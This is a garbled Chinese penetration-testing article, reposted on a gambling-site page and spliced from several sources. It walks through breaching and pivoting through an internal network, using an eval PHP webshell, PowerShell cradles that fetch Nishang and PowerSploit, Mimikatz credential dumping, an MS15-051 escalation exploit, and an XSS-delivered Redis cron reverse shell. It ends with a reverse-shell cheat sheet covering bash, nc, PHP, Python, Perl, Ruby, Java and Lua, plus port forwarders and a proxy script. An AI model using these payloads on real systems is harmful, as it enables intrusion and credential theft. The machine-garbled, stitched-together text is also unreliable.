www.tengbo9887.com,腾博游戏|官网
互联网
您所在的位置是:www.tengbo9887.com > 互联网 >
互联网
您所在的位置是:www.tengbo9887.com > 互联网 >

互联网

多重转发渗透隐藏内网

发布时间:2020-01-04 21:57    浏览次数 :

通过beacon隧道直接派生一个meterpreter的shell[非vps上做转账,直接通过beacon隧道过来],流程很简短,首先,在公司服务器上做端口转载,然后创立一个表面监听器,端口和ip写beacon shell的机械所在的ip,然后在相应的beacon shell中’spawn’选中刚刚创制好的表面监听器,这段时间还有个别难点绝非很好的消除,前面单独说

www.tengbo9887.com 1

最后的tips

 

自身在上头介绍用:poweshell加载外界的exe进入内部存款和储蓄器实行,进而不在受害主机里面留下别样印迹,並且也能够绕过本国主流杀软的查杀这些主见的落实基于这些文章:PowerPwning:Post-Exploiting ByOverpowering PowerShell还有 Powershelltricks::Code Execution & Process Injection

意气风发旦完毕这么些前提条件是:

1.你要有源码

2.源码必得是c++编写,c#编排的风华正茂律崩溃

3.编写翻译的时候建议用vs二零零六+winxp编写翻译

4.在win上不能够用gcc去编写翻译

5.编写翻译选用/MT 可能/MTd

www.tengbo9887.com 2

 

6.假诺要传送参数的话把int main(int argc char **argv)改成

int main()
{
    LPWSTR*szArglist;
    int nArgs;
    int i;
    szArglist =CommandLineToArgvW(GetCommandLineW(), &nArgs);
    if( NULL ==szArglist )
    {
       wprintf(L"CommandLineToArgvW failedn");
        return0;
    }
   
}
……………………

 

7.代码中不能够有写文件的操作

上边是汇总渗透软件编写翻译进程

自己以提权工具ms15-051的代码做尝试(代码的源码),增添传递参数的代码后 里面有多少个字符转变的主题素材,能够自身化解一下,自己 生成好了现在看看效果 首先把生成好的ms15-051.exe上传播自个儿的web服务器。

先下载到本地看看怎么着效果与利益

www.tengbo9887.com 3

下一场用编写翻译好的ms15-051.exe用powershell加载一下

www.tengbo9887.com 4

地点的五个代理相当于扇门的钥匙,172.16.0.20:1080是7.7.7.x的钥匙,172.16.0.20:1081是7.7.7.x背后的8.8.8.x的钥匙 ,Attacker要想拜望到8.8.8.x得以经过先张开7.7.7.x的门,再展开8.8.8.x的门(因为8.8.8.x这几个门在7.7.7.x那个门之后State of Qatar

0x01 来自91Ri.org

第三种,直接运用隧道直接把任何msf带进目的内网

只顾:这里set的payload跟生成木马使用的payload要风流倜傥律,别的的参数依据接纳的payload而填充。
meterpreter shell
当大家得到对象服务器的meterpreter_shell后,能够张开过多操作。
1
2
3

拓扑介绍

里头192.168.1.0/24仿照的是公网的处境

172.21.132.0/24模拟的是商铺内网的条件

边界web服务器双网卡(公网的:192.168.1.110,和内网的172.21.132.110),并且为了最基本的天水有限支撑,web边界服务器设置了防火墙,此防火墙对外网只开放80,81,443端口,对内网开放拥有端口,上边还具有杀毒软件。

内网还安顿若干台web服务器,大器晚成台旁路报告急察方设备(ips),他们都能够趋之若鹜到外网,可是外网访谈不到内部的别的web服务器

中间web服务器(linux)(172.21.132.113卡塔尔(قطر‎前边放置防火墙,不得以被内网的任何web服务器访谈到,不过它能够访谈到内网的别的服务器,而且能够一连到外网。那套遇到之中的192.168.1.108是黑客的kali攻击机,192.168.1.212是红客的windows攻击机

科普下nishang和PowerSploit

1、Nishang是依照PowerShell的渗漏测验专项使用工具。集成了框架、脚本和各个payload。那一个脚本是由Nishang的撰稿者在切实地工作渗透测验进度中有感而发编写的,具备实战价值。包含了下载和实行、键盘记录、dns、延时命令等剧本

2、PowerSploit是又黄金年代款Post Exploitation 相关工具,Post Exploitation是鬼子渗透测量试验标准里面包车型客车事物,正是获取shell之后干的一些政工。PowerSploit 其实正是部分powershell 脚本,包涵Inject-Dll(注入dll 到钦定过程State of Qatar、Inject-Shellcode(注入shellcode到实施进度)、 Encrypt- Script(文本或脚本加密)、Get-GPPPassword(通过groups.xml 获取明文密码)、 Invoke- ReverseDnsLookup(扫描DNS PTKoleos记录)

meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80meterpreter > meterpreter > portfwd listActive Port Forwards ====================    Index  Local             Remote       Direction    -----  -----             ------       ---------   1      172.16.0.20:2323  7.7.7.20:80  Forward1 total active port forwards. meterpreter > 

0x00 来自乐乎

利用cs的各个监听器

Windows
1

渗透开头

 

先是边界web服务器上fastcgi配置错误,招致服务器被getshell 因为英特网的菜刀超多都有后门,所以我用开源的CKnife(介绍地方:跨平台版中中原人民共和国菜刀Cknife宣布花色地址: Cknife的github卡塔尔因为服务器上有杀毒软件斟酌所以要把一句话木马做一下转移绕过思路参照他事他说加以考察:打狗棒法之进级篇:Cknife校正配置法秒过安全狗

 

自己用的劳动器端木马内容

<?php    

eval('$ms509 ='.$_POST['Cknife']);

eval($ms509);

?>

 

替换Config.ini的PHP_MAKE为

 

base64_decode($_POST['action']);

 

www.tengbo9887.com 5

一而再格局

www.tengbo9887.com 6

得到webshell之后,首先用systeminfo来查看系统新闻

 

www.tengbo9887.com 7

先是能够见到那几个是风流洒脱台win2010 r2 六拾一位系统,况且未有打任何系统补丁所以本人能够从下边反弹一个powershell出来实行更为的渗漏首先把nishang git clone到自个儿的web目录上边,然后在shell目录下找到Invoke-PowerShellTcp.ps1,我为着便于把Invoke-PowerShellTcp.ps1复制到了web的根目录,我先在谐和的电电话机上用nc监听8888端口,然后实践

powershell IEX(New-ObjectNet.WebClient).DownloadString(‘http://192.168.108/Invoke-PowerShellTcp.ps1‘);Invoke-PowerShellTcp-Reverse -IPAddress 192.168.1.108 -port 8888

在nc上赢得叁个反弹出来的powershellwww.tengbo9887.com 8

翻开权限发掘权限比超级低只是:iis apppool所以小编索要狠抓一下放权力力经常的做法是要上传八个内核溢出的exp,平常都以上传二个exe,不过本身在那选取直接从远方加载叁个exe到受害主机内部存款和储蓄器中,并且让她奉行起来,详细的笔者会在《有意思的渗透(番外篇)》中详尽的认证,笔者先把https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1下载到自身的web目录上边,再把用到的提权exp(ms1564.exe)放到web根目录下边然后在反弹的shell里面运转

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl
 http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR

如此那般再实行whoami看权限的话就可以看看是 nt authority。

www.tengbo9887.com 9

 

(Ps:那之中有个坑,那一个ms15051的exp是无论从二个英特网下载下来的,没有经过改动,所以当推行的命令参数有空格的时候,他就从未别的影响,也尚未别的回显,后来透过作者连连的尝尝,实践cmd的时候就能够把shell的权力提了,非常不错,不过若是您实践powershell这么些命令的话,那么那几个反弹的shell就能够假死)那个时候在本机采撷一下消息:首先用mimikatz来脱出登录过得密码:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-Mimikatz.ps1');Invoke-Mimikatz

www.tengbo9887.com 10

查看arp的列表

www.tengbo9887.com 11

 

 

看见数不完电话聚焦在172.21.132.100-120以此网段作者调用poershell扫一下

 

端口扫描的脚本从此现在间下载:https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1

 

扫描:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-PortScan.ps1');Invoke-PortScan-StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort

www.tengbo9887.com 12

本条时候小编用利用powershell反弹叁个meterpreter 利用powersploit框架,由于一些不可思议的来由,笔者把框架中协助msf的黄金时代对去掉了,不过经过的自个儿的物色,在笔者提交的历史记录里面找到了最终风姿浪漫版扶助msf的有个别:地址是:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1

即使git clone新版本的PowerSploit你要用老版本的CodeExecution/Invoke–Shellcode.ps1替换掉新本子的文件使用方式恐怕先把脚本下载到红客本身的web目录下,我为着便于,笔者写了多少个调用脚本放在web目录下(1.ps1卡塔尔

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1')
Invoke-Shellcode -payloadwindows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force

先把msf展开,然后设置payload为windows/meterpreter/reverse_https,况且监听在4444端口:

msf > useexploit/multi/handler
msf exploit(handler) > set payloadwindows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > run

然后在powershell反弹的shell中调用

IEX (New-ObjectNet.WebClient).DownloadString(‘http://192.168.1.108/1.ps1‘)

大功告成拿到meterpreter,可是注意:这么些meterpreter试行shell是无法收获人机联作式的cmd ,因为刚刚用exp把反弹的powershell形成了system的权力,所以再反弹出来的meterpreter也是system权限

此时能够 meterpreter查看路由: runget_local_subnets

meterpreter 搜索putty保存的新闻 run enum_www.tengbo9887.com,putty

meterpreter 寻觅ie保存的密码 run post/windows/gather/enum_ie

地面音讯收罗差不离了,可以把meterpreter放入后台: background

然后增添路由(那样技巧张开内网的扫视): route add 172.21.132.0 255.255.255.0 1 route add的率先个参数是地点,第贰个参数地址是掩码,第多少个参数是sessis的id

进展内网的主计算机扫描描:利用smb举办主机识别: use auxiliary/scanner/smb/smb_version

www.tengbo9887.com 13

运用刚才找到的管理人密码在内网里面碰撞一下,看看多少主机用的是同等的密码 用的是:use auxiliary/scanner/smb/smb_login

www.tengbo9887.com 14

 

能够见到内网里面的半数以上对讲机都是用的二个密码

 

上边小编要用socks代理步向到内网里面获取一些新闻

 

有二种选拔:首先msf提供了风流倜傥种socks4a的代理,浏览器能够用那么些代理步入到内网,可是burp不能够用socks4a的代理第二:能够用reGeorgSocksProxy.py的socks5踏入到内网里面第三:可以用新鲜管理过得xsocks.exe,通过powershell远程加载到内部存款和储蓄器里面运转之后收获socks5的代办

 

因为那是60字节webshell的把戏,所以小编用第三种方法步入到内网:

 

先是在红客的web里面归入特殊管理的xsocks.exe,然后用poweshell加载

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR

然后burp这样设置:

www.tengbo9887.com 15

 

火狐中如此设置

 

www.tengbo9887.com 16

就足以兑现如此的职能了

www.tengbo9887.com 17

看一下功力:

www.tengbo9887.com 18

把流量拦截下来repeater也能够

www.tengbo9887.com 19

* 分布一下redis未授权的知识 详细的作品能够看redis未授权访谈总括 而redis的csrf漏洞的发生原因是:正是当向redis发送无效指令时,redis自己合同不会截止tcp链接。同期redis只会实行body里的管用指令,而不会关怀http header里的源委。

* 科学普及一下csrf的抨击:CS本田UR-VF:跨站央求诬捏,也被喻为:one click attack/session riding,缩写为:CS福特ExplorerF/XSEnclaveF,轻巧的话攻击者盗用了你的地点,以你的名义发送恶意央浼。CSRAV4F能够做的事体包含:以你名义发送邮件,发新闻,盗取你的账号,以至于购买商品,加密货币转账……变成的主题素材包蕴:个人隐秘走漏以致资产安全。清汤寡水的卓绝csrf的案例是通过csrf改进你家路由器的dns配置,进而达成违法毛利的指标,能够参照作品TP-link TL-WPRADO840N类别路由器存在CS瑞鹰F漏洞,可校正自便配置(含POC测量试验进度)

 

通过内网探测,开采172.21.132.113盛放6379端口,可是经过代办不可能连选用后来意识在172.21.132.117:83/xss/add.php发掘二个留言板

www.tengbo9887.com 20

 

 

由此基于这么些稿子:Client-SideRedis Attack Proof of Concept本人做了二个足以动用redis未授权访谈拿到反弹shell的js:

      var cmd = new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
     cmd.send('flushallrn');
     
      var cmd =new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
     cmd.send('eval '' + 'redis.call("set","1","\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.1.108/5566 0>&1\n\n");redis.call("config", "set", "dir","/var/spool/cron/"); redis.call("config","set", "dbfilename", "root");' + '' 0' +"rn");

      var cmd =new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
      cmd.send('savern');

 

把他放在自身的web目录下,然后在留言板写入:

 

<script src=http://192.168.1.108/redis.js></script>

在本机监听用nc监听5566端口,只要有装redis 的那台机子的指挥者查看留言板的话就能弹出叁个shell给笔者的主机

www.tengbo9887.com 21

能够看来这些早就反弹的拍卖的shell是root权限

 

于今,整个内网已经被完全渗透

 

得逞溢出getshell后翻看JC(7.7.7.20卡塔尔国网卡消息:

实质上行使

  • reverse bash
  1. Bash部分linux发行版中的Bash能够间接反弹贰个shell到钦点ip端口
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1

www.tengbo9887.com 22

1

  1. NetCatNetcat反弹shell也是常用火器,精髓命令参数-e
nc -e /bin/sh x.x.x.x 2333

www.tengbo9887.com 23

2

但一些版本的nc未有-e参数(非古板版卡塔尔,则可利用以下方法解决

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

www.tengbo9887.com 24

3

要么地点监听五个端口,通过管道,后生可畏处输入,大器晚成处出口

nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444

www.tengbo9887.com 25

4

别的方法基本沿用以上思路,如将nc更改为telnet等

mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe
  1. PHP
    PHP意况下反弹shell,过去大家平时用phpspy等shell自带反弹即可,这里将其反弹部分代码提收取来,访谈就能够反弹到钦定IP端口三个普通交互作用shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}

$yourip = "x.x.x.x";
$yourport = "2333";
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

做客,成功再次来到

www.tengbo9887.com 26

5

但必要小心php需未禁止使用exec函数.其它,Metasploit的payload也提供各类反弹脚本,如

msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php

变动文书内容像那样

www.tengbo9887.com 27

6

将文件传到shell中,在msf中开二个handler

msf exploit(handler) > set PAYLOAD php/reverse_php
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 2333
msf exploit(handler) > exploit

当时访问re.php,就可以反弹到地头一个shell

www.tengbo9887.com 28

7

理所必然,用nc直接监听端口也是可以的任何能够考虑选取msf编码变形等,github也许有那样三个脚本 https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php 可供参照他事他说加以考察

  1. JSPJSP雷同,使用msf生成二个反弹shell
msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp

接下来在msf中开五个handler

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
msf exploit(handler) > exploit

恍如措施就可以反弹回shell

  1. Python
    一个Python反弹shell的代码demo
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

洁净规范的Python写法应该像是那样,更易懂些:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

其余脚本像那规范

python -c "exec("import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))nwhile 1: proc =
subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"

msf的payload给出那样的解法

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333

生成编码后文件:

import base64;
exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0
LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo='))

Base64解码后:

import socket,struct
s=socket.socket(2,1)
s.connect(('x.x.x.x',2333))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{'s':s})

此地补充上phith0n同学的正向连接bind_shell

有关交互作用式正向连接shell,几点要求注意的地⽅方

  • 任由在linux依然windows下,想要做到交互作用式,只好开启⼀一个shell.不可以见到每一次接到到命令就再开启⼀一个shell进程,然后执⾏行.
  • windows下cmd.exe /K参数是维持cmd不截止,/c参数是执⾏行完后就甘休,注意差距.
    最终Win版本:
from socket import *
import subprocess
import os, threading
def send(talk, proc):
import time
while True:
msg = proc.stdout.readline()
talk.send(msg)
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',23333))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
t = threading.Thread(target = send, args = (talk, proc))
t.setDaemon(True)
t.start()
while True:
cmd=talk.recv(1024)
proc.stdin.write(cmd)
proc.stdin.flush()
server.close()

Linux版本:

import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)

实践后积极连接就能够

www.tengbo9887.com 29

9

  1. Perl
    首先给叁个规律相通的台本:
perl -e 'use
Socket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

下一场是三个不借助于调用/bin/bash的点子

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~-
>fdopen($c,w);system$_ while<>;'

三个完完全全的反弹pl脚本

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell. Change these.
my $ip = 'x.x.x.x';
my $port = 2333;
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127.0.0.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
# Change the process name to be less conspicious
$0 = "[httpd]";
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir('/');
umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>n";
$global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "r
Connection: closer
Content-Type: text/htmlrnrn" . $global_page;
}

ASP景况下调用perlscript实行办法

<%@Language=PerlScript%>

表明ASP脚本使⽤用语⾔言为Perlscript

<%
system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
#⽤用system函数执⾏行命令的⽅方式
#exec("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
#⽤用exec函数执⾏行命令的⽅方式
%>
  1. Ruby
    规矩,首先二个调用/bin/sh的
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

三人演奏会对台戏赖于/bin/sh的反弹shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows蒙受使用

ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

其余MSF中也会有相应模块能够调用,就相当的少提

  1. Java
    付出一个调用/bin/bash的脚本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/2333;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
  1. Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"
  • 端口转载
    上边计算反弹shell的各样已知主流或肥猪瘤情势,上面扯一下端口转载. 已知的万众方法如:
    lcx老品牌工具
    htran/fport/fpipe等
    antifw修改3389端口为80
    reduh提供了依赖http/https隧道连接3389的另一种艺术
    tunna给出了比reduh更稳固急忙的解决办法
    在Linux情形下,则可构思依靠脚本实现,如Perl/Python等. 知道创宇Knownsec曾付出一个rtcp.py脚本做转账之用,可是测量检验发掘只援助单点连接,推荐应用此
    本子,匡助多client同有时常间连接
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import socket

import threading
import logging
import optparse
class PipeThread(threading.Thread):
def __init__(self, source_fd, target_fd):
super(PipeThread, self).__init__()
self.logger = logging.getLogger('PipeThread')
self.source_fd = source_fd
self.target_fd = target_fd
self.source_addr = self.source_fd.getpeername()
self.target_addr = self.target_fd.getpeername()
def run(self):
while True:
try:
data = self.source_fd.recv(4096)
if len(data) > 0:
self.logger.debug('read %04i from %s:%d', len(data),
self.source_addr[0], self.source_addr[1])
sent = self.target_fd.send(data)
self.logger.debug('write %04i to %s:%d', sent,
self.target_addr[0], self.target_addr[1])
else:
break
except socket.error:
break
self.logger.debug('connection %s:%d is closed.', self.source_addr[0],
self.source_addr[1])
self.logger.debug('connection %s:%d is closed.', self.target_addr[0],
self.target_addr[1])
self.source_fd.close()
self.target_fd.close()

class Forwarder(object):
def __init__(self, ip, port, remoteip, remoteport, backlog=5):
self.remoteip = remoteip
self.remoteport = remoteport
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((ip, port))
self.sock.listen(backlog)
def run(self):
while True:
client_fd, client_addr = self.sock.accept()
target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target_fd.connect((self.remoteip, self.remoteport))
threads = [
PipeThread(client_fd, target_fd),
PipeThread(target_fd, client_fd)
]
for t in threads:
t.setDaemon(True)
t.start()
def __del__(self):
self.sock.close()
if __name__ == '__main__':
parser = optparse.OptionParser()
parser.add_option(
'-l', '--local-ip', dest='local_ip',
help='Local IP address to bind to')
parser.add_option(
'-p', '--local-port',
type='int', dest='local_port',
help='Local port to bind to')
parser.add_option(
'-r', '--remote-ip', dest='remote_ip',
help='Local IP address to bind to')
parser.add_option(
'-P', '--remote-port',
type='int', dest='remote_port',

help='Remote port to bind to')
parser.add_option(
'-v', '--verbose',
action='store_true', dest='verbose',
help='verbose')
opts, args = parser.parse_args()
if len(sys.argv) == 1 or len(args) > 0:
parser.print_help()
exit()
if not (opts.local_ip and opts.local_port and opts.remote_ip and opts.remote_port):
parser.print_help()
exit()
if opts.verbose:
log_level = logging.DEBUG
else:
log_level = logging.CRITICAL
logging.basicConfig(level=log_level, format='%(name)-11s: %(message)s')
forwarder = Forwarder(opts.local_ip, opts.local_port, opts.remote_ip, opts.remote_port)
try:
forwarder.run()
except KeyboardInterrupt:
print 'quit'
exit()

利用格局如

python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443

有关Perl脚本,互连网中也许有有关质感,大家可活动修正使用.
别的,推荐可整合msf加防止杀使用的tunna :State of Qatar 具体应用方式细节不再介绍.

  • 盛开代理
    假诺对目的服务器已获取较高权力,可添加vpn或socks代理,ringzero@557.im写的 一个可用socks.py剧本能够更易的做到socks代理增多使用格局如:
nohup python s5.py 1080 &

独有Webshell的气象下,又供给对内网某web服务开展访谈测验,但从没丰富的肥力手工业依附webshell举行呼吁,要求将那少年老成经过自动化,xsjswt给出那样豆蔻梢头种
思路.
将如下脚本以shell权限丢至服务器

<?php
if(!isset($_GET['url'])){
exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
$url.='&';
}
else{
$url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
curl_setopt($ch, CURLOPT_POST, 1);
$post_data='';
foreach($_POST as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$post_data=$post_data.'&'.$Key.'='.urlencode($Val);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
curl_close($ch);
exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("rn",$Header);
foreach($Headers as $ThusHead){
